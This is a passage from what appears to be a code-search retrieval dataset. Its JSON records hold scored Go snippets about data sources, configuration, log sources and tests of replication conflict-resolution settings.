append(res, d.ID)\n\t}\n\treturn res\n}", "title": "" }, { "docid": "9808c35043baf065a88377ff7026f1a3", "score": "0.49577102", "text": "func (o *MonitoringCategoryStatus) GetSourceId() string {\n\tif o == nil || o.SourceId == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.SourceId\n}", "title": "" }, { "docid": "d7830063aec3d0125b1225f85d0d6eb5", "score": "0.4944039", "text": "func (s *Service) SourcesID(w http.ResponseWriter, r *http.Request) {\n\tid, err := paramID(\"id\", r)\n\tif err != nil {\n\t\tError(w, http.StatusUnprocessableEntity, err.Error(), s.Logger)\n\t\treturn\n\t}\n\n\tctx := r.Context()\n\tsrc, err := s.Store.Sources(ctx).Get(ctx, id)\n\tif err != nil {\n\t\tnotFound(w, id, s.Logger)\n\t\treturn\n\t}\n\n\tres := newSourceResponse(ctx, src)\n\tencodeJSON(w, http.StatusOK, res, s.Logger)\n}", "title": "" }, { "docid": "e9fa83295cbf8ef532412b0a0726dec9", "score": "0.4920772", "text": "func (confSrc *EnvConfigurationSource) GetConfigurations() (map[string]interface{}, error) {\n\tconfigMap := make(map[string]interface{})\n\n\tconfSrc.Lock()\n\tdefer confSrc.Unlock()\n\tfor key, value := range confSrc.Configurations {\n\t\tconfigMap[key] = value\n\t}\n\n\treturn configMap, nil\n}", "title": "" }, { "docid": "2d08f759d791f9dc949f454dbdc26321", "score": "0.4915848", "text": "func (s *FileSystemSourceProvider) GetSources(ctx context.Context,\n\textensions model.Extensions, sink Sink, resolverSink ResolverSink) error {\n\tfor _, scanPath := range s.paths {\n\t\tresolved := false\n\t\tfileInfo, err := os.Stat(scanPath)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to open path\")\n\t\t}\n\n\t\tif !fileInfo.IsDir() {\n\t\t\tc, openFileErr := openScanFile(scanPath, extensions)\n\t\t\tif openFileErr != nil {\n\t\t\t\tif openFileErr == ErrNotSupportedFile {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\treturn openFileErr\n\t\t\t}\n\t\t\tif sinkErr := sink(ctx, scanPath, c); sinkErr != nil {\n\t\t\t\treturn sinkErr\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\terr = s.walkDir(ctx, scanPath, resolved, sink, resolverSink, extensions)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to walk directory\")\n\t\t}\n\t\tcontinue\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8c9b6d86dc3a8fbc1817f6f2b1d70d5b", "score": "0.49146578", "text": "func ProxyToCatalogSourceConfigs(client client.Client) handler.Mapper {\n\treturn &proxyToCatalogSourceConfigs{client: client}\n}", "title": "" }, { "docid": "3cd40935bf92f10687ec32797ddd7b93", "score": "0.4908911", "text": "func (c *Client) GetSenderIDList(p Params) (*SenderIDList, error) {\n\tvar l *SenderIDList\n\n\treturn l, c.get(senderIDURI, p, nil, &l)\n}", "title": "" }, { "docid": "6e28ab069be9efbb105a352997b06d00", "score": "0.49076727", "text": "func (o *PostAPI24DirectorySnapshotsParams) SetSourceIds(sourceIds []string) {\n\to.SourceIds = sourceIds\n}", "title": "" }, { "docid": "0c6af1e87b0dd9a2ea624f463473420d", "score": "0.48993936", "text": "func (c *Client) GetSources(p Params) (*Sources, error) {\n\tvar s *Sources\n\n\treturn s, c.get(sourceURI, p, nil, &s)\n}", "title": "" }, { "docid": "81678c8be2a0839ddc518581aa4c6cce", "score": "0.4891993", "text": "func (cfg *Cfg) LogConfigSources() {\n\tvar text bytes.Buffer\n\n\tfor _, file := range configFiles {\n\t\tcfg.Logger.Info(\"Config loaded from\", \"file\", file)\n\t}\n\n\tif len(appliedCommandLineProperties) > 0 {\n\t\tfor _, prop := range appliedCommandLineProperties {\n\t\t\tcfg.Logger.Info(\"Config overridden from command line\", \"arg\", prop)\n\t\t}\n\t}\n\n\tif len(appliedEnvOverrides) > 0 {\n\t\ttext.WriteString(\"\\tEnvironment variables used:\\n\")\n\t\tfor _, prop := range appliedEnvOverrides {\n\t\t\tcfg.Logger.Info(\"Config overridden from Environment variable\", \"var\", prop)\n\t\t}\n\t}\n\n\tcfg.Logger.Info(\"Path Home\", \"path\", HomePath)\n\tcfg.Logger.Info(\"Path Data\", \"path\", cfg.DataPath)\n\tcfg.Logger.Info(\"Path Logs\", \"path\", cfg.LogsPath)\n\tcfg.Logger.Info(\"Path Provisioning\", \"path\", cfg.ProvisioningPath)\n\tcfg.Logger.Info(\"App mode \" + Env)\n}", "title": "" }, { "docid": "e6c29b6142f4dcd4b5503f6e90678978", "score": "0.48803267", "text": "func (c *Cilium) ServiceGetIds() ([]string, error) {\n\tfilter := `{range [*]}{@.ID}{end}`\n\tres, err := c.ServiceList().Filter(filter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.Split(res.String(), \"\\n\"), nil\n}", "title": "" }, { "docid": "3b4f455a96b793867d309fa34bc46101", "score": "0.4874901", "text": "func (o ExternalDataConfigurationResponsePtrOutput) SourceUris() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *ExternalDataConfigurationResponse) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceUris\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "73ab251412a905b4bea19487f04a9eac", "score": "0.48668405", "text": "func (n *Node) ListSources() []*Node {\n\tn.Lock()\n\tdefer n.Unlock()\n\n\treturn n.sources\n}", "title": "" }, { "docid": "79eae04e2844adbeadb3753809fdc2fd", "score": "0.48629487", "text": "func GetSourceIPsFromOutgoingCtx(ctx context.Context) string {\n\tmd, ok := metadata.FromOutgoingContext(ctx)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\tipAddresses, ok := md[ipAddressesKey]\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn ipAddresses[0]\n}", "title": "" }, { "docid": "e3f0b26d3f7f6f57bf2652e8f4d5ed48", "score": "0.4847932", "text": "func (n *Node) SrcNames() []string {\n\treturn n.srcNames\n}", "title": "" }, { "docid": "645ee2beba6523895f72c727c1ed5fd4", "score": "0.4841292", "text": "func (u User) Sources(\n\tctx context.Context,\n\tafter *string,\n\tbefore *string,\n\tfirst *int,\n\tlast *int,\n) (SourceConnection, error) {\n\treturn PaginateSourceIDSliceContext(ctx, u.SourceIDs, after, before, first, last)\n}", "title": "" }, { "docid": "02efade64ee570c337d7a25f6d707a29", "score": "0.48346558", "text": "func (multi *SourcesStore) All(ctx context.Context) ([]chronograf.Source, error) {\n\tall := []chronograf.Source{}\n\tsourceSet := map[int]struct{}{}\n\n\tok := false\n\tvar err error\n\tfor _, store := range multi.Stores {\n\t\tvar sources []chronograf.Source\n\t\tsources, err = store.All(ctx)\n\t\tif err != nil {\n\t\t\t// If this Store is unable to return an array of sources, skip to the\n\t\t\t// next Store.\n\t\t\tcontinue\n\t\t}\n\t\tok = true // We've received a response from at least one Store\n\t\tfor _, s := range sources {\n\t\t\t// Enforce that the source has a unique ID\n\t\t\t// If the source has been seen before, don't override what we already have\n\t\t\tif _, okay := sourceSet[s.ID]; !okay { // We have a new Source!\n\t\t\t\tsourceSet[s.ID] = struct{}{} // We just care that the ID is unique\n\t\t\t\tall = append(all, s)\n\t\t\t}\n\t\t}\n\t}\n\tif !ok {\n\t\treturn nil, err\n\t}\n\treturn all, nil\n}", "title": "" }, { "docid": "4c4f17c72a3134a076a5769e3aa914f2", "score": "0.4815147", "text": "func (s *Scheduler) UnboundSources() []string {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\tIDs := make([]string, 0, len(s.unbounds))\n\tfor ID := range s.unbounds {\n\t\tIDs = append(IDs, ID)\n\t}\n\tsort.Strings(IDs)\n\treturn IDs\n}", "title": "" }, { "docid": "5ef938733dd19de83c2b645342f8a241", "score": "0.48149392", "text": "func (e *Env) Sources(l *ui.UI) ([]string, error) {\n\tsources, err := e.sources(l)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn sources.Sources(), nil\n}", "title": "" }, { "docid": "7f97684487845693b77222964b995e85", "score": "0.4809131", "text": "func (o ChannelSpecPtrOutput) SourceNamespaces() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *ChannelSpec) []string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceNamespaces\n\t}).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "19bae2f0c877d968db22a6b462795b26", "score": "0.4808535", "text": "func (tn *TargetNode) Sources() []string {\n\treturn append([]string{}, tn.proto.Sources...)\n}", "title": "" }, { "docid": "61b77a414e1ca6e405d8108ed307edbc", "score": "0.4807576", "text": "func (o *ErrataResponseErrataList) GetSourcePackageList() []string {\n\tif o == nil || o.SourcePackageList == nil {\n\t\tvar ret []string\n\t\treturn ret\n\t}\n\treturn *o.SourcePackageList\n}", "title": "" }, { "docid": "8807d4fb78e67e88341c67faa0767cf8", "score": "0.48036227", "text": "func (s *Store) GetKeys(source string) ([]string, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tvar response []string\n\tfor k := range s.storage[source] {\n\t\tresponse = append(response, k)\n\t}\n\treturn response, nil\n}", "title": "" }, { "docid": "28703db7390b8b6304433f251d1c6730", "score": "0.47969577", "text": "func (s *Scheduler) toSources(config integration.Config) ([]*sourcesPkg.LogSource, error) {\n\tvar configs []*logsConfig.LogsConfig\n\tvar err error\n\n\tswitch config.Provider {\n\tcase names.File:\n\t\t// config defined in a file\n\t\tconfigs, err = logsConfig.ParseYAML(config.LogsConfig)\n\tcase names.Container, names.Kubernetes, names.KubeContainer:\n\t\t// config attached to a container label or a pod annotation\n\t\tconfigs, err = logsConfig.ParseJSON(config.LogsConfig)\n\tdefault:\n\t\t// invalid provider\n\t\terr = fmt.Errorf(\"parsing logs config from %v is not supported yet\", config.Provider)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar service *service.Service\n\n\tcommonGlobalOptions := integration.CommonGlobalConfig{}\n\terr = yaml.Unmarshal(config.InitConfig, &commonGlobalOptions)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid init_config section for source %s: %s\", config.Name, err)\n\t}\n\n\tglobalServiceDefined := commonGlobalOptions.Service != \"\"\n\n\tif config.ServiceID != \"\" {\n\t\t// all configs attached to a docker label or a pod annotation contains an entity;\n\t\t// this entity is used later on by an input to match a service with a source\n\t\t// to start collecting logs.\n\t\tvar err error\n\t\tservice, err = s.toService(config)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid entity: %v\", err)\n\t\t}\n\t}\n\n\tconfigName := s.configName(config)\n\tvar sources []*sourcesPkg.LogSource\n\tfor _, cfg := range configs {\n\t\t// if no service is set fall back to the global one\n\t\tif cfg.Service == \"\" && globalServiceDefined {\n\t\t\tcfg.Service = commonGlobalOptions.Service\n\t\t}\n\n\t\tif service != nil {\n\t\t\t// a config defined in a container label or a pod annotation does not always contain a type,\n\t\t\t// override it here to ensure that the config won't be dropped at validation.\n\t\t\tif cfg.Type == logsConfig.FileType && (config.Provider == names.Kubernetes || config.Provider == names.Container || config.Provider == names.KubeContainer || config.Provider == logsConfig.FileType) {\n\t\t\t\t// cfg.Type is not overwritten as tailing a file from a Docker or Kubernetes AD configuration\n\t\t\t\t// is explicitly supported (other combinations may be supported later)\n\t\t\t\tcfg.Identifier = service.Identifier\n\t\t\t} else {\n\t\t\t\tcfg.Type = service.Type\n\t\t\t\tcfg.Identifier = service.Identifier // used for matching a source with a service\n\t\t\t}\n\t\t}\n\n\t\tsource := sourcesPkg.NewLogSource(configName, cfg)\n\t\tsources = append(sources, source)\n\t\tif err := cfg.Validate(); err != nil {\n\t\t\tlog.Warnf(\"Invalid logs configuration: %v\", err)\n\t\t\tsource.Status.Error(err)\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn sources, nil\n}", "title": "" }, { "docid": "9ee35841501c04d69b6a49f37e132729", "score": "0.4787565", "text": "func getNetworkIds() ([]string, error) {\n\tif len(networkIdsList) > 0 {\n\t\treturn strings.Split(networkIdsList, \",\"), nil\n\t}\n\t// If no network IDs specified, load all of them\n\treturn magmad.ListNetworks()\n}", "title": "" }, { "docid": "a4b10f7ad85972e9d872dd4f4134f164", "score": "0.4787381", "text": "func (o CloudSqlSettingsPtrOutput) SourceId() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *CloudSqlSettings) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.SourceId\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "01183d4ed7c86c08bc0d2e4b11a28a74", "score": "0.47784695", "text": "func (c *Client) GetDataSourceTypes() ([]string, error) {\n\tres := c.provider.GetSchema()\n\tvar result []string\n\n\tfor k, _ := range res.DataSources {\n\t\tresult = append(result, k)\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "c78fd1f4345414f004365deeecb47fdb", "score": "0.47775152", "text": "func (self *ConfigSource) AllKeys() []string {\n\treturn maps.CollectKeys(self.data, \"\", -1)\n}", "title": "" } ]
6499791d09440e1c25e1d080459c1ef5
Tests when the conflict resolution types are different negative test
[ { "docid": "e817d727f1a0df9316c493edf5aebb35", "score": "0.6958072", "text": "func TestNegativeConflictResolutionType(t *testing.T) {\n\tassert := assert.New(t)\n\n\tfmt.Println(\"============== Test case start: TestNegativeConflictResolutionType =================\")\n\txdcrTopologyMock, metadataSvcMock, uiLogSvcMock, remoteClusterMock,\n\t\tclusterInfoSvcMock, utilitiesMock, replSpecSvc,\n\t\tsourceBucket, targetBucket, targetCluster, settings, clientMock := setupBoilerPlate()\n\n\t// Begin mocks\n\tsetupMocks(base.ConflictResolutionType_Seqno, base.ConflictResolutionType_Lww,\n\t\txdcrTopologyMock, metadataSvcMock, uiLogSvcMock, remoteClusterMock,\n\t\tclusterInfoSvcMock, utilitiesMock, replSpecSvc, clientMock, true, /*IsEnterprise*/\n\t\tfalse /*IsElastic*/)\n\n\t// Assume XMEM replication type\n\tsettings[metadata.ReplicationType] = metadata.ReplicationTypeXmem\n\n\t_, _, _, errMap, _, _ := replSpecSvc.ValidateNewReplicationSpec(sourceBucket, targetCluster, targetBucket, settings)\n\t// Should have only one error\n\tassert.Equal(len(errMap), 1)\n\tfmt.Println(\"============== Test case end: TestNegativeConflictResolutionType =================\")\n}", "title": "" } ]
[ { "docid": "4d3255a2abd15bad488cb02ab2d2d6d3", "score": "0.6434383", "text": "func TestDifferentConflictResolutionTypeOnCapi(t *testing.T) {\n\tassert := assert.New(t)\n\n\tfmt.Println(\"============== Test case start: TestDifferentConflictResolutionTypeOnCapi =================\")\n\txdcrTopologyMock, metadataSvcMock, uiLogSvcMock, remoteClusterMock,\n\t\tclusterInfoSvcMock, utilitiesMock, replSpecSvc,\n\t\tsourceBucket, targetBucket, targetCluster, settings, clientMock := setupBoilerPlate()\n\n\t// Begin mocks\n\tsetupMocks(base.ConflictResolutionType_Seqno, base.ConflictResolutionType_Lww,\n\t\txdcrTopologyMock, metadataSvcMock, uiLogSvcMock, remoteClusterMock,\n\t\tclusterInfoSvcMock, utilitiesMock, replSpecSvc, clientMock, true, /*IsEnterprise*/\n\t\tfalse /*IsElastic*/)\n\n\t// Assume CAPI (elasticsearch) replication type\n\tsettings[metadata.ReplicationType] = metadata.ReplicationTypeCapi\n\n\t_, _, _, errMap, _, _ := replSpecSvc.ValidateNewReplicationSpec(sourceBucket, targetCluster, targetBucket, settings)\n\t// Should pass\n\tassert.Equal(len(errMap), 0)\n\tfmt.Println(\"============== Test case end: TestDifferentConflictResolutionTypeOnCapi =================\")\n}", "title": "" }, { "docid": "352a3a65c15ff26f5990ad03dbb0abfe", "score": "0.59623677", "text": "func resolveConflict(doc_meta_source documentMetadata, doc_meta_target documentMetadata,\n\tsource_cr_mode base.ConflictResolutionMode, xattrEnabled bool, logger *log.CommonLogger) bool {\n\tif source_cr_mode == base.CRMode_LWW {\n\t\treturn resolveConflictByCAS(doc_meta_source, doc_meta_target, xattrEnabled, logger)\n\t} else {\n\t\treturn resolveConflictByRevSeq(doc_meta_source, doc_meta_target, xattrEnabled, logger)\n\t}\n}", "title": "" }, { "docid": "f9b7f2c5414a7727b6dbc2b50c407693", "score": "0.59455377", "text": "func MergeSpecsFailOnDefinitionConflict(dest, source *spec.Swagger) error {\n\treturn mergeSpecs(dest, source, false, false)\n}", "title": "" }, { "docid": "64fb57310e8596e977439f977858d430", "score": "0.57641006", "text": "func errIncompatibleMergeTypes(a, b *proto3.Value) error {\n\treturn spannerErrorf(codes.FailedPrecondition, \"incompatible type in chunked PartialResultSet. expected (%T), got (%T)\", a.Kind, b.Kind)\n}", "title": "" }, { "docid": "d4df66834b388527d80eca211e9ece58", "score": "0.5620896", "text": "func conflict(ancestorRule routeRule, descendantRule routeRule) (bool, error) {\n\t// The \"(routeRule{})\" needs to be in parenthesis; I'm not sure why.\n\tif ancestorRule == (routeRule{}) {\n\t\treturn false, nil\n\t}\n\n\tif ancestorRule.vsName == descendantRule.vsName && ancestorRule.namespace == descendantRule.namespace {\n\t\treturn sameVSconflict(ancestorRule, descendantRule)\n\t}\n\n\tif ancestorRule.ruleType == regex {\n\t\tmatched, err := regexp.MatchString(ancestorRule.route, descendantRule.route)\n\t\treturn matched, err\n\t}\n\n\tif ancestorRule.ruleType == prefix {\n\t\t// This should always be true (since a given rule will only check its \"descendants\"),\n\t\t// but this is more explicit.\n\t\treturn strings.HasPrefix(descendantRule.route, ancestorRule.route), nil\n\t}\n\n\tif ancestorRule.ruleType == exact {\n\t\t// Since a rule will only be checked against its strict descendants or a rule on the same\n\t\t// path (which is checked earlier), this should always be false. This is more explicit, though.\n\t\treturn ancestorRule.route == descendantRule.route, nil\n\t}\n\n\treturn true, fmt.Errorf(\"Could not determine whether these %v and %v are in conflict! This \"+\n\t\t\"is the result of a bug in the vetter.\", ancestorRule, descendantRule)\n}", "title": "" }, { "docid": "13299f5999f613cb6d6e30448a00612a", "score": "0.550676", "text": "func sameVSconflict(rule1 routeRule, rule2 routeRule) (bool, error) {\n\n\tif rule1.priority > rule2.priority {\n\t\treturn sameVSCheck(rule1, rule2)\n\n\t} else if rule2.priority > rule1.priority {\n\t\treturn sameVSCheck(rule2, rule1)\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "77c72d6823c26e100dfe8f18981fd96b", "score": "0.55042326", "text": "func Conflict() *SystemError {\n\treturn CustomConflict(\"Resource Conflict\")\n}", "title": "" }, { "docid": "8773068dc0be98b45da36c18b8aef5db", "score": "0.5500628", "text": "func TestAggregatingSameFileIncompatibility(t *testing.T) {\n\tvar googleReport = createReport(t, \"oas-examples/openapi.yaml\")\n\tvar petStoreReport = createReport(t, \"oas-examples/petstore.yaml\")\n\tvar bookStoreReport = createReport(t, \"../examples/bookstore/bookstore.yaml\")\n\n\tvar aggregationTest = []struct {\n\t\ttestName string\n\t\treportset1 []*IncompatibilityReport // fileset v1 and v2 should have an intersection of core files\n\t\treportset2 []*IncompatibilityReport // their content can have repeated items from this intersection\n\t}{\n\t\t{\"Base1to1\", []*IncompatibilityReport{googleReport}, []*IncompatibilityReport{googleReport}},\n\t\t{\"SingleRepeated\", []*IncompatibilityReport{googleReport, googleReport}, []*IncompatibilityReport{googleReport}},\n\t\t{\"MultipleRepeated\",\n\t\t\t[]*IncompatibilityReport{\n\t\t\t\tbookStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t\tpetStoreReport,\n\t\t\t\tbookStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t},\n\t\t\t[]*IncompatibilityReport{\n\t\t\t\tbookStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t\tpetStoreReport,\n\t\t\t},\n\t\t},\n\t\t{\"RepeatedRearranged\",\n\t\t\t[]*IncompatibilityReport{\n\t\t\t\tbookStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t\tpetStoreReport,\n\t\t\t\tpetStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t\tbookStoreReport,\n\t\t\t},\n\t\t\t[]*IncompatibilityReport{\n\t\t\t\tbookStoreReport,\n\t\t\t\tpetStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t\tbookStoreReport,\n\t\t\t\tpetStoreReport,\n\t\t\t\tgoogleReport,\n\t\t\t},\n\t\t},\n\t}\n\tfor _, trial := range aggregationTest {\n\t\tt.Run(trial.testName, func(tt *testing.T) {\n\t\t\tdiff := cmp.Diff(\n\t\t\t\tAggregateReports(trial.reportset1...).AnalysisPerIncompatibility,\n\t\t\t\tAggregateReports(trial.reportset2...).AnalysisPerIncompatibility,\n\t\t\t\tignoreUnexportedSetAnalysis,\n\t\t\t)\n\t\t\tif diff != \"\" {\n\t\t\t\ttt.Errorf(\"IncompatibilityMapping: diff (-want +got):\\n %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "f6044c4e19f0e5c7e9bddde3058c25f9", "score": "0.5390099", "text": "func IsConflict(err error) bool {\n\t_, ok := getImplementer(err).(ErrConflict)\n\treturn ok\n}", "title": "" }, { "docid": "20df1fea079e15c313c04c6d8cba9750", "score": "0.534419", "text": "func resolution_theirs(filename string) (bool, ConflictResolution) {\n\tDPrintf(\"resolve conflict %v by taking theirs\", filename)\n\treturn true, ConflictResolution{filename, TAKE_THEIRS}\n}", "title": "" }, { "docid": "d68b3931c2f9b2e4877ccf68b29fea4d", "score": "0.533357", "text": "func validateSidecarConflict(sidecarSets *appsv1alpha1.SidecarSetList, sidecarSet *appsv1alpha1.SidecarSet, fldPath *field.Path) field.ErrorList {\n\tallErrs := field.ErrorList{}\n\n\t// record initContainer, container, volume name of other sidecarsets in cluster\n\t// container name -> sidecarset\n\tcontainerInOthers := make(map[string]*appsv1alpha1.SidecarSet)\n\t// volume name -> sidecarset\n\tvolumeInOthers := make(map[string]*appsv1alpha1.SidecarSet)\n\t// init container name -> sidecarset\n\tinitContainerInOthers := make(map[string]*appsv1alpha1.SidecarSet)\n\tfor i := range sidecarSets.Items {\n\t\tset := &sidecarSets.Items[i]\n\t\t//ignore this sidecarset\n\t\tif set.Name == sidecarSet.Name {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, container := range set.Spec.InitContainers {\n\t\t\tinitContainerInOthers[container.Name] = set\n\t\t}\n\t\tfor _, container := range set.Spec.Containers {\n\t\t\tcontainerInOthers[container.Name] = set\n\t\t}\n\t\tfor _, volume := range set.Spec.Volumes {\n\t\t\tvolumeInOthers[volume.Name] = set\n\t\t}\n\t}\n\n\t// whether initContainers conflict\n\tfor _, container := range sidecarSet.Spec.InitContainers {\n\t\tif other, ok := initContainerInOthers[container.Name]; ok {\n\t\t\t//if the two sidecarset scope namespace is different, continue\n\t\t\tif isSidecarSetNamespaceDiff(sidecarSet, other) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// if the two sidecarset will selector same pod, then judge conflict\n\t\t\tif util.IsSelectorOverlapping(sidecarSet.Spec.Selector, other.Spec.Selector) {\n\t\t\t\tallErrs = append(allErrs, field.Invalid(fldPath.Child(\"containers\"), container.Name, fmt.Sprintf(\n\t\t\t\t\t\"container %v already exist in %v\", container.Name, other.Name)))\n\t\t\t}\n\t\t}\n\t}\n\n\t// whether containers conflict\n\tfor _, container := range sidecarSet.Spec.Containers {\n\t\tif other, ok := containerInOthers[container.Name]; ok {\n\t\t\t// if the two sidecarset scope namespace is different, continue\n\t\t\tif isSidecarSetNamespaceDiff(sidecarSet, other) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// if the two sidecarset will selector same pod, then judge conflict\n\t\t\tif util.IsSelectorOverlapping(sidecarSet.Spec.Selector, other.Spec.Selector) {\n\t\t\t\tallErrs = append(allErrs, field.Invalid(fldPath.Child(\"containers\"), container.Name, fmt.Sprintf(\n\t\t\t\t\t\"container %v already exist in %v\", container.Name, other.Name)))\n\t\t\t}\n\t\t}\n\t}\n\n\t// whether volumes conflict\n\tfor _, volume := range sidecarSet.Spec.Volumes {\n\t\tif other, ok := volumeInOthers[volume.Name]; ok {\n\t\t\t//if the two sidecarset scope namespace is different, continue\n\t\t\tif isSidecarSetNamespaceDiff(sidecarSet, other) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// if the two sidecarset will selector same pod, then judge conflict\n\t\t\tif util.IsSelectorOverlapping(sidecarSet.Spec.Selector, other.Spec.Selector) {\n\t\t\t\tif !reflect.DeepEqual(&volume, getSidecarsetVolume(volume.Name, other)) {\n\t\t\t\t\tallErrs = append(allErrs, field.Invalid(fldPath.Child(\"volumes\"), volume.Name, fmt.Sprintf(\n\t\t\t\t\t\t\"volume %s is in conflict with sidecarset %s\", volume.Name, other.Name)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn allErrs\n}", "title": "" }, { "docid": "cd0599929a60ebd1408444f757bd7d61", "score": "0.5330477", "text": "func hasConflictOrViolations(tblToStats map[string]*merge.MergeStats) bool {\n\tfor _, tblStats := range tblToStats {\n\t\tif tblStats.HasArtifacts() {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "4e845e3ec9d52d2ede492299534b76ae", "score": "0.5323664", "text": "func TestSchemaHandler_SchemaChange_Incompatible(t *testing.T) {\n\tcreateTestSchemaTable(t)\n\tres := performSchemaRegister(t, TestTbl)\n\ttest.Assert(t, http.StatusOK == res.Code,\n\t\t\"Schema register in schema change test did not return 200 HTTP code\")\n\n\t_ = performSchemaChange(t, `DROP COLUMN bl`)\n\n\tdropTestSchemaTable(t)\n}", "title": "" }, { "docid": "3897dd340bce3b298328c28da287ec1c", "score": "0.5285054", "text": "func TestEngineVersionDiffer(t *testing.T) {\n\tassert := assert.New(t)\n\trequire := require.New(t)\n\t// setup\n\trm := provideResourceManager()\n\t// Tests\n\tt.Run(\"NoDiff=NoSpec_NoStatus\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\trequire.Nil(desiredRG.ko.Spec.SecurityGroupIDs)\n\t\trequire.Nil(latestCacheCluster.SecurityGroups)\n\t\tdiffer := rm.engineVersionDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"NoDiff=NoSpec_HasStatus\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestEV := \"test-engine-version\"\n\t\tlatestCacheCluster.EngineVersion = &latestEV\n\t\trequire.Nil(desiredRG.ko.Spec.EngineVersion)\n\t\trequire.NotNil(latestCacheCluster.EngineVersion)\n\t\tdiffer := rm.engineVersionDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"NoDiff=Spec_Status_Match\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tlatestEV := \"test-engine-version\"\n\t\tdesiredRG.ko.Spec.EngineVersion = &latestEV\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestCacheCluster.EngineVersion = &latestEV\n\t\trequire.NotNil(desiredRG.ko.Spec.EngineVersion)\n\t\trequire.NotNil(latestCacheCluster.EngineVersion)\n\t\tdiffer := rm.engineVersionDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.False(differ)\n\t})\n\tt.Run(\"Diff=Spec_Status_MisMatch\", func(t *testing.T) {\n\t\tdesiredRG := provideResource()\n\t\tdesiredEV := \"desired-test-engine-version\"\n\t\tdesiredRG.ko.Spec.EngineVersion = &desiredEV\n\t\tlatestRG := provideResource()\n\t\tlatestCacheCluster := provideCacheCluster()\n\t\tlatestEV := \"latest-test-engine-version\"\n\t\tlatestCacheCluster.EngineVersion = &latestEV\n\n\t\trequire.NotNil(desiredRG.ko.Spec.EngineVersion)\n\t\trequire.NotNil(latestCacheCluster.EngineVersion)\n\t\trequire.NotEqual(*desiredRG.ko.Spec.EngineVersion, *latestCacheCluster.EngineVersion)\n\t\tdiffer := rm.engineVersionDiffer(desiredRG, latestRG, latestCacheCluster)\n\t\tassert.True(differ)\n\t})\n}", "title": "" }, { "docid": "0ba2c3b0a18aec7fd7019c86aab1132b", "score": "0.52312315", "text": "func TestEnsureTypeMatch(t *testing.T) {\n\ttype testCase struct {\n\t\ttp Type\n\t\tv interface{}\n\t\texpectErr bool\n\t}\n\n\tcases := []testCase{\n\t\t{TUUID, UUID(\"267275CD-D312-4EFB-A304-020A43971D68\"), false},\n\t\t{TUUID, \"267275CD-D312-4EFB-A304-020A43971D68\", true},\n\t\t{Int64, int64(0), false},\n\t\t{Int64, \"0\", true},\n\t\t{Int32, int32(0), false},\n\t\t{Int32, 1.2, true},\n\t\t{String, \"abc\", false},\n\t\t{String, []byte{1, 2, 3}, true},\n\t\t{Blob, []byte{1, 2, 3}, false},\n\t\t{Blob, \"1,2,3\", true},\n\t\t{Bool, true, false},\n\t\t{Bool, \"false\", true},\n\t\t{Double, float64(5.5), false},\n\t\t{Double, 1, true},\n\t\t{Timestamp, time.Now(), false},\n\t\t{Timestamp, \"Fri Feb 24 15:43:46 PST 2017\", true},\n\t}\n\n\tfor _, c := range cases {\n\t\tif c.expectErr {\n\t\t\tassert.Error(t, ensureTypeMatch(c.tp, c.v))\n\t\t} else {\n\t\t\tassert.NoError(t, ensureTypeMatch(c.tp, c.v))\n\t\t}\n\t}\n\tassert.Panics(t, func() {\n\t\tensureTypeMatch(Invalid, false)\n\t})\n}", "title": "" }, { "docid": "7fcd0d1937950e14a371c5645bb674e8", "score": 